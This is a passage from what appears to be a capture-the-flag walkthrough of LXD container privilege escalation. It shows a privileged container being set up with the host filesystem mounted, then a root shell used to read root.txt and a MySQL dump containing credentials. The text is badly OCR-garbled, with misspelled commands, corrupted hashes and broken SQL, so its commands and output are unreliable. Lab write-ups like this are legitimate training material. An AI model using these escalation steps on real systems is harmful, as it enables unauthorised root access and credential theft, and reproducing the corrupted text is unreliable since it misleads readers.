In the above command we used “rootimage” as ALIAS but it could ahve been any name

Image impn;ted with Fiﬁgerprint: 9898cBe5aabB8bc239e6dalb46904e6B425e64772a979e27

We can use the list command to check the list of images

mike@included:/$ Ixcimage list

ikedincluded:/tmp$ lxc image list
——————————— B ST
ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION

| rootimage | 9898cB8e5aa68 | no
——————————— i ST T

The command above will let us have access to the entire filesystem from within the

container.
mike@included:/S Ixc init <aliasName> ignite-c  security.privileged=true
mike@included:/S Ixc init rootimage ignite-c  security.privileged=true
mike@included:/S Ixc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

The next set of commands start the container and drop us into a shell (as root) on it.
mike@included:/$ Ixc start ignite

mike@included:/S Ixc exec ignite /bin/sh
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We can now navigate to /mnt/root/root/ and read root.txt along with login.sql, which reveals
credentials.

mikealncluded:

mike@included: /tmp$ 1xc exec ignite /bin/sh

~ # id

uid=@(root) gid=0(root)
~ # cd /mnt/root/root/
/mnt/root/root # ls
login.sql root.txt

The login.sql file reveals the credentials

/mnt/root/root # cat login.sql
— MySQL dump 1@.16 Distrib 10.1.44-MariaDB, for debian-linux-gnu (x86_64)

— Host: localheost Database: Markup
-- Server version 10.1.44-MariaDB-@ubuntu@.18.04.1

/*140101 SET @OLD_CHARACTER_SET_CLIENT=@aCHARACTER_SET_CLIENT #/;
/*140101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS #/;
/*140101 SET @OLD_COLLATION_CONNECTION=@aCOLLATION_CONNECTION #*/;
/%140101 SET NAMES utf8mbé */;

/%140103 SET @0LD_TIME_ZONE=@TIME_ZONE */;

/*140103 SET TIME_ZONE='+00:00" */;

/*140014 SET @0LD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/%140014 SET @0LD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 #/;
/*140101 SET @0LD_SQL_MODE=@aSQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERQ' */;

L

LOCK TABLES “login WRITE;

/%140000 ALTER TABLE “login® DISABLE KEYS #/;

INSERT INTO “login® VALUES (1, ' EITYSESIEFTTNE ' );
/%140000 ALTER TABLE “login® ENABLE KEYS */;

UNLOCK TABLES;

/%140103 SET TIME_ZONE=QOLD_TIME_ZONE */;
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